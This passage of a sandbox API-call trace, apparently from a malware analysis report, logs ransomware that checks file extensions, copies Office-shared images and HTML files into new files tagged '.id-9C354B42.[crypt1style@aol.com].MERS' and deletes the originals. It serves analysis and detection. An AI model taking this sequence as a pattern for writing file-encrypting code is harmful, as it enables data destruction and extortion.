shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm") returned 76 [0045.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm") returned 76 [0045.246] lstrlenW (lpString=".doc") returned 4 [0045.246] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0045.246] lstrlenW (lpString=".docx") returned 5 [0045.246] lstrcmpiW (lpString1=".docx", lpString2="e.htm") returned -1 [0045.246] lstrlenW (lpString=".pdf") returned 4 [0045.246] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0045.246] lstrlenW (lpString=".xls") returned 4 [0045.246] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0045.246] lstrlenW (lpString=".xlsx") returned 5 [0045.246] lstrcmpiW (lpString1=".xlsx", lpString2="e.htm") returned -1 [0045.246] lstrlenW (lpString=".ppt") returned 4 [0045.247] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0045.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm") returned 76 [0045.247] lstrlenW (lpString=".zip") returned 4 [0045.247] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0045.247] lstrlenW (lpString=".rar") returned 4 [0045.247] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0045.247] lstrlenW (lpString=".bz2") returned 4 [0045.247] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0045.247] lstrlenW (lpString=".7z") returned 3 [0045.247] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0045.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm") returned 76 [0045.247] lstrlenW (lpString=".dbf") returned 4 [0045.247] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0045.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm") returned 76 [0045.247] lstrlenW (lpString=".1cd") returned 4 [0045.247] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0045.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm") returned 76 [0045.247] lstrlenW (lpString=".jpg") returned 4 [0045.247] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0045.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm") returned 76 [0045.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm") returned 76 [0045.247] lstrlenW (lpString=".doc") returned 4 [0045.247] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0045.247] lstrlenW (lpString=".docx") returned 5 [0045.247] lstrcmpiW (lpString1=".docx", lpString2="e.htm") returned -1 [0045.247] lstrlenW (lpString=".pdf") returned 4 [0045.247] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0045.248] lstrlenW (lpString=".xls") returned 4 [0045.248] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0045.248] lstrlenW (lpString=".xlsx") returned 5 [0045.248] lstrcmpiW (lpString1=".xlsx", lpString2="e.htm") returned -1 [0045.248] lstrlenW (lpString=".ppt") returned 4 [0045.248] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0045.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm") returned 76 [0045.248] lstrlenW (lpString=".zip") returned 4 [0045.248] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0045.248] lstrlenW (lpString=".rar") returned 4 [0045.248] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0045.248] lstrlenW (lpString=".bz2") returned 4 [0045.248] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0045.248] lstrlenW (lpString=".7z") returned 3 [0045.248] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0045.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm") returned 76 [0045.248] lstrlenW (lpString=".dbf") returned 4 [0045.248] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0045.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm") returned 76 [0045.248] lstrlenW (lpString=".1cd") returned 4 [0045.248] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0045.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm") returned 76 [0045.248] lstrlenW (lpString=".jpg") returned 4 [0045.248] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0045.249] lstrcmpiW (lpString1=".jpg", lpString2=".MERS") returned -1 [0045.249] lstrlenW (lpString="ShadesOfBlue.jpg") returned 16 [0045.249] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0045.254] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=4734) returned 1 [0045.254] CloseHandle (hObject=0x1f8) returned 1 [0045.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg")) returned 0x20 [0045.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.254] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0045.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0045.255] lstrlenW (lpString=".doc") returned 4 [0045.255] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0045.255] lstrlenW (lpString=".docx") returned 5 [0045.255] lstrcmpiW (lpString1=".docx", lpString2="e.jpg") returned -1 [0045.255] lstrlenW (lpString=".pdf") returned 4 [0045.255] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0045.255] lstrlenW (lpString=".xls") returned 4 [0045.255] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0045.255] lstrlenW (lpString=".xlsx") returned 5 [0045.255] lstrcmpiW (lpString1=".xlsx", lpString2="e.jpg") returned -1 [0045.255] lstrlenW (lpString=".ppt") returned 4 [0045.255] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0045.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0045.255] lstrlenW (lpString=".zip") returned 4 [0045.255] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0045.255] lstrlenW (lpString=".rar") returned 4 [0045.255] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0045.255] lstrlenW (lpString=".bz2") returned 4 [0045.255] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0045.255] lstrlenW (lpString=".7z") returned 3 [0045.255] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0045.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0045.475] lstrlenW (lpString=".dbf") returned 4 [0045.475] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0045.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0045.475] lstrlenW (lpString=".1cd") returned 4 [0045.475] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0045.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0045.475] lstrlenW (lpString=".jpg") returned 4 [0045.475] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0045.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0045.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0045.475] lstrlenW (lpString=".doc") returned 4 [0045.475] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0045.475] lstrlenW (lpString=".docx") returned 5 [0045.475] lstrcmpiW (lpString1=".docx", lpString2="e.jpg") returned -1 [0045.475] lstrlenW (lpString=".pdf") returned 4 [0045.476] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0045.476] lstrlenW (lpString=".xls") returned 4 [0045.476] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0045.476] lstrlenW (lpString=".xlsx") returned 5 [0045.476] lstrcmpiW (lpString1=".xlsx", lpString2="e.jpg") returned -1 [0045.476] lstrlenW (lpString=".ppt") returned 4 [0045.476] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0045.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0045.476] lstrlenW (lpString=".zip") returned 4 [0045.476] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0045.476] lstrlenW (lpString=".rar") returned 4 [0045.476] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0045.476] lstrlenW (lpString=".bz2") returned 4 [0045.476] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0045.476] lstrlenW (lpString=".7z") returned 3 [0045.476] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0045.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0045.476] lstrlenW (lpString=".dbf") returned 4 [0045.476] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0045.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0045.476] lstrlenW (lpString=".1cd") returned 4 [0045.476] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0045.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0045.476] lstrlenW (lpString=".jpg") returned 4 [0045.476] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0045.476] lstrcmpiW (lpString1=".htm", lpString2=".MERS") returned -1 [0045.477] lstrlenW (lpString="Soft Blue.htm") returned 13 [0045.477] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0045.836] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=232) returned 1 [0045.836] CloseHandle (hObject=0x1c4) returned 1 [0045.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm")) returned 0x20 [0045.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.837] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71 [0045.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71 [0045.837] lstrlenW (lpString=".doc") returned 4 [0045.837] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0045.837] lstrlenW (lpString=".docx") returned 5 [0045.837] lstrcmpiW (lpString1=".docx", lpString2="e.htm") returned -1 [0045.837] lstrlenW (lpString=".pdf") returned 4 [0045.837] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0045.837] lstrlenW (lpString=".xls") returned 4 [0045.837] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0045.837] lstrlenW (lpString=".xlsx") returned 5 [0045.837] lstrcmpiW (lpString1=".xlsx", lpString2="e.htm") returned -1 [0045.837] lstrlenW (lpString=".ppt") returned 4 [0045.837] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0045.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71 [0045.837] lstrlenW (lpString=".zip") returned 4 [0045.837] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0045.837] lstrlenW (lpString=".rar") returned 4 [0045.837] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0045.837] lstrlenW (lpString=".bz2") returned 4 [0045.837] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0045.837] lstrlenW (lpString=".7z") returned 3 [0045.837] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0045.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71 [0045.837] lstrlenW (lpString=".dbf") returned 4 [0045.837] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0046.608] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=25234) returned 1 [0046.608] CloseHandle (hObject=0x1e8) returned 1 [0046.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 0x20 [0046.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0046.609] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.609] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.609] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.609] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0046.609] GetLastError () returned 0x0 [0046.609] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x6292, lpOverlapped=0x0) returned 1 [0046.666] WriteFile (in: hFile=0x17c, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x62a0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x62a0, lpOverlapped=0x0) returned 1 [0046.667] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.667] WriteFile (in: hFile=0x17c, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.668] SetEndOfFile (hFile=0x17c) returned 1 [0046.668] CloseHandle (hObject=0x17c) returned 1 [0046.668] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.668] SetEndOfFile (hFile=0x1e8) returned 1 [0046.669] CloseHandle (hObject=0x1e8) returned 1 [0046.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0046.669] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 1 [0046.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0046.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0046.669] lstrlenW (lpString=".doc") returned 4 [0046.669] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.669] lstrlenW (lpString=".docx") returned 5 [0046.669] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.669] lstrlenW (lpString=".pdf") returned 4 [0046.669] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.669] lstrlenW (lpString=".xls") returned 4 [0046.669] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.669] lstrlenW (lpString=".xlsx") returned 5 [0046.669] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.669] lstrlenW (lpString=".ppt") returned 4 [0046.669] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0046.670] lstrlenW (lpString=".zip") returned 4 [0046.670] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.670] lstrlenW (lpString=".rar") returned 4 [0046.670] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.670] lstrlenW (lpString=".bz2") returned 4 [0046.670] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.670] lstrlenW (lpString=".7z") returned 3 [0046.670] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0046.670] lstrlenW (lpString=".dbf") returned 4 [0046.670] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0046.670] lstrlenW (lpString=".1cd") returned 4 [0046.670] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0046.670] lstrlenW (lpString=".jpg") returned 4 [0046.670] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0046.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0046.670] lstrlenW (lpString=".doc") returned 4 [0046.670] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.670] lstrlenW (lpString=".docx") returned 5 [0046.670] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.670] lstrlenW (lpString=".pdf") returned 4 [0046.670] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.670] lstrlenW (lpString=".xls") returned 4 [0046.670] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.670] lstrlenW (lpString=".xlsx") returned 5 [0046.670] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.670] lstrlenW (lpString=".ppt") returned 4 [0046.670] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0046.670] lstrlenW (lpString=".zip") returned 4 [0046.670] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.671] lstrlenW (lpString=".rar") returned 4 [0046.671] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.671] lstrlenW (lpString=".bz2") returned 4 [0046.671] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.671] lstrlenW (lpString=".7z") returned 3 [0046.671] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0046.671] lstrlenW (lpString=".dbf") returned 4 [0046.671] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0046.671] lstrlenW (lpString=".1cd") returned 4 [0046.671] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0046.671] lstrlenW (lpString=".jpg") returned 4 [0046.671] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.671] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0046.671] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0046.671] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.672] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1560) returned 1 [0046.672] CloseHandle (hObject=0x1e8) returned 1 [0046.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 0x20 [0046.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0046.672] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.672] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.672] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.672] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0047.368] GetLastError () returned 0x0 [0047.368] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x618, lpOverlapped=0x0) returned 1 [0047.393] WriteFile (in: hFile=0x218, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x620, lpOverlapped=0x0) returned 1 [0047.394] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.394] WriteFile (in: hFile=0x218, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.394] SetEndOfFile (hFile=0x218) returned 1 [0047.394] CloseHandle (hObject=0x218) returned 1 [0047.394] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.394] SetEndOfFile (hFile=0x1e8) returned 1 [0047.396] CloseHandle (hObject=0x1e8) returned 1 [0047.396] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0047.396] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 1 [0047.397] lstrlenW 